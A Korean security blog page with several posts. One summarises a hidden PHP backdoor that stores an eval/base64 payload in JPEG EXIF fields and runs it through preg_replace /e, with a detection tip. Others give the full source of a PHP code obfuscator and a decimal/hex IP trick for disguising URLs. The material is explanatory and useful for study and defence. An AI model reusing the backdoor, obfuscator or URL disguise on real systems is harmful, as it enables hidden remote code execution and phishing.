어제(2013-07-17) 해외 보안팀 블로그에서 자신들과 협업 사이트인 곳 중 한 군대에서 EXIF 헤더를 이용한 백도어를 발견했다고 글이 올라왔었다.

지금까지 본 이미지 백도어 중에서 가장 실효성이 높고 탐지도 어려운 것 같아 이렇게 정리하는 글을 남긴다.


 - 원본 : http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html


가장 중요한 아이디어는 preg_replace() 함수에서 /e 옵션을 쓴다는 것이다.(http://php.net/manual/en/function.preg-replace.php) 먼저 악의적인 공격자는 웹 서버를 해킹 한 후 아래와 같은 코드를 일반 페이지에 삽입하여 둔다.


$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');

preg_replace($exif['Make'],"", $exif['Model']);


그 후 다음과 같이 조작한 JPEG 파일을 서버에 업로드한다. 이때 업로드 하지 않고 기존에 서버에서 사용하고 있던 JPEG 파일을 조작 해 사용해도 된다는 점이 중요한 듯 싶다.


ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@

^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^

@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd

HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^


"/.*/e" 부분이 $exif['Make'] 필드이고, "eval ( base64_decode" 부분이 $exif['Model'] 필드 부분이다. 그러므로 실행 될 때는 다음과 같은 형태가 된다.


preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");


이렇게 되면 preg_replace() 함수는 /e 옵션을 인식하고 "@ eval ( base64_decode" 부분을 실행하게 된다.


실행하게 되는 부분은 Sneak PHP 코드를 사용해도 무방하고, 다른 어떠한 코드를 사용해도 상관 없다.


preg_replace() 함수는 일반적으로도 많이 쓰이는 함수이기 때문에 정상 페이지에 삽입하여 둔다면 쉽게 찾아내지 못한다. 또 일반 이미지에 백도어 코드를 심어둔다면 이 또한 쉽게 발견하지 못하므로 추후 2차 피해가 다시 발생 할 가능성이 굉장히 높아진다.(물론 백도어를 심는 행위 자체가 2차 피해를 발생시킨다는 것을 반증 하는 행위이다.)


그럼 해당 공격은 어떻게 탐지해야 할까? 

preg_replace() 함수 코드를 찾는다면 쉽게 백도어 이미지를 찾을 수 있겠지만, 만약에 해당 사실을 인지하지 못하고 있는 상황에서 이와 같은 사실을 발견하고자 한다면 개인적으로 생각하기에는 기존의 이미지 파일 수정 날짜가 최근으로 변경되어 있는지 확인 해 보는 방법이 좋다고 생각한다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
제목 그대로 해당 소스로 php 소스를 인코딩 할 경우 그 결과물은 역공학이 불가능하다고 하네요.

전 아직 테스트 해보지 않아 정확한 결과는 보지 못하였으나, 제작자가 그리 말하니 일단은 믿는 수 밖에 ^^;

  1. <?php
  2. function rstr() //Random String Function
  3. {
  4.  $len=rand(3,6);
  5.  $chr='';
  6.  for($i=1;$i<=$len;$i++)
  7.  {
  8.   $chr.=rand(0,1) ? chr(rand(65,90)) : chr(rand(97,122));
  9.  }
  10.  return $chr;
  11. }
  12. function enjumble($data) //Custom Encoding + Base64 + gzinflate()
  13. {
  14.  for($i=0;$i<strlen($data);$i++)
  15.  {
  16.   $data[$i]=chr(ord($data[$i])+1);
  17.  }
  18.  return base64_encode(gzdeflate($data,9));
  19. }
  20. function striptag($in) //Remove '<?php' from initial code
  21. {
  22.  $pos = strpos($in,"<?php"); //to do: add support for short_tags
  23.  if(is_numeric($pos))
  24.  {
  25.   for($i=$pos;$i<=$pos+4 && strlen($in) >=5;$i++)
  26.   {
  27.   $in[$i]=' ';
  28.   }
  29.   return $in;
  30.  }
  31.  else
  32.  {
  33.  return $in;
  34.  }
  35. }
  36. function makeoutfile($str)
  37. { $funcname=rstr();
  38. $varname='$'.rstr();
  39. $template=
  40. "<?php function ".$funcname."($varname)
  41. {
  42. $varname=gzinflate(base64_decode($varname));
  43.  for(\$i=0;\$i<strlen($varname);\$i++)
  44.  {
  45. ".$varname."[\$i] = chr(ord(".$varname."[\$i])-1);
  46.  }
  47.  return $varname;
  48.  }eval($funcname(\"";
  49.   $str=enjumble($str);
  50.  $template = $template . $str."\"));?>";
  51.  return $template;
  52. }
  53. function main($argc,$argv)
  54. {
  55. $banner=
  56. "\n +-------------------------------------------------------------------+
  57.  |+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++|
  58.  |+                                                                 +|
  59.  +____               _             _                    _           +|
  60. /  __ \             | |           | |                  (_)          +|  
  61. | /  \/  __ _  _ __ | |__   _   _ | |  __ _  _ __ ___   _  _ __    _+|_
  62. | |     / _` || '__|| '_ \ | | | || | / _` || '_ ` _ \ | || '_ \  / _ \
  63. | \__/\| (_| || |   | |_) || |_| || || (_| || | | | | || || | | ||  __/
  64.  \____/ \__,_||_|   |_.__/  \__, ||_| \__,_||_| |_| |_||_||_| |_| \___|
  65.  |+                         __/ |                                    +|  
  66.  |+                    Carbylamine PHP Encoder                      +|  
  67.  |+                           v0.1.1 Nightly                        +|
  68.  |+                                                                 +|
  69.  |+                                                                 +|
  70.  |+                      Coded by Prakhar Prasad                    +|
  71.  |+                        (prakharpd@gmail.com)                    +|
  72.  |+                                                                 +|
  73.  |+                                                                 +|
  74.  |+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++|
  75.  +-------------------------------------------------------------------+\n\n";
  76. $usage="$banner Syntax: ".$_SERVER['PHP_SELF']." <file to encode> <output file>\n";
  77. if($argc==1) {echo $usage ; die();}
  78. if($argc>1) $file = $argv[1];
  79. if($argc>2) $outfile = $argv[2];
  80. if(empty($file) || empty($outfile)) { echo "Input/Output filename not entered!\n\n\x07" ;die();}
  81. if(!file_exists($file))
  82. {
  83. echo "$banner Error: Input file doesn't exist\n\n\x07";
  84. }
  85. else{
  86. $orginal_size=round(filesize($file)/1024,2);
  87. echo "$banner  Encoding : $file ($orginal_size KB) \n\n ";
  88. $output_filename=$outfile;
  89. $outfile=fopen($outfile,'w+');
  90. $file=fread(fopen($file,'r'),filesize($file));
  91. $outdata=makeoutfile(striptag($file));
  92. $newsize=round(strlen($outdata)/1024,2);
  93. echo " Compression : ".@round(100-(($newsize*100)/($orginal_size!=0?$orginal_size:1)),2)."%\n\n";
  94. if(!fwrite($outfile,$outdata))
  95. {
  96.  echo " Unable to write to $output_filename\n\n\x07";
  97. }
  98. else
  99. {
  100. echo "  Successfully Encoded! to $output_filename\n\n" ;
  101. }}}
  102. main($argc,$argv);
  103. ?>
 
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

자주가는 포렌식 홈페이지가 있었는데 포스팅 글 중에서 유용한게 있어서 메모겸 포스팅이다.

표준 IP 주소는 Base 256 방식을 쓰는데 이걸 Base 10으로 변환하여 URL을 난독화 하는 것에 대한 포스팅이었다.

나도 한번 테스트 해보았다.

나는 네이버 주소(202.131.29.70)로 해보았는데, 아이피는 nslookup으로 알아내었다.

대상 IP : 202.131.29.70

 - 202 * (256^3) = 3388997632
 - 131 * (256^2) = 8585216
 - 29 * (256^1) = 7424
 - 70 * (256^0) = 70

이 값들을 모두 합하면 3397590342이 된다. 주소로 표현할 수 있는 방식은 아래와 같이 두가지 이다.

http://3397590342
http://0xCA831D46

내가 쓰는 IE8 버전에서는 아무런 의심없이 연결을 해준다.

고로 우리나라의 대부분 PC는 통하는 URL 난독화일 것이다.

 * 원문 : http://forensic-proof.com/archives/1800

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
제가 구글해킹 공부할때 봤던 문서 ㅋㅋㅋㅋ


저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
  1. Favicon of http://hanbyoul.tistory.com BlogIcon 오빠는 알고있다 2009.03.08 21:05 신고

    구글해킹이라 하시면 정말 구글을 해킹하시는걸 말씀하시는겐가요?

  2. Favicon of http://ezclub.tistory.com BlogIcon 고고 2009.03.09 09:19 신고

    오호~!! 그렇군요.. 필독 문서가 여기에 ㅡ.ㅡ;;

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2009.03.09 09:46 신고

      오래된 문서이긴 한데 구글해킹은 대부분 응용이라...

      아직 새로 나온 기법도 없고 ㅋㅋㅋㅋ 이 문서가 딱입니다.!

  3. Favicon of http://bdlunar0321.tistory.com BlogIcon bdlunar0321 2009.11.01 10:11 신고

    오~얼마전 구글해킹이라는 책을 빌려서 보고 있었는데
    도움이 되는 좋은 자료네요

  4. Favicon of http://blog.naver.com/hijun486106 BlogIcon Miny~ 2011.04.12 15:21 신고

    ㅎ 찾고있던 자료인데 덕분에 구했네요 ㅎ 잘 볼게요 ㅎ

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2011.04.13 20:15 신고

      인터넷에 널려있는 문서를 제 블로그에 올렸을 뿐이죠.. ㅎㅎ

  5. 2011.10.03 16:30

    비밀댓글입니다

  6. 안영민 2013.01.14 16:20 신고

    전공공부 검색하다가 왔었는데
    익숙한게 아직 많이 없네요 ㅎㅎ
    되게 도움 많이 되고 있어요 감사합니다~~

기본적인 문법들이나 소스들은 나와있습니다.

공부할 때 참고하세요 ^^



신고
크리에이티브 커먼즈 라이선스
Creative Commons License

+ Recent posts

티스토리 툴바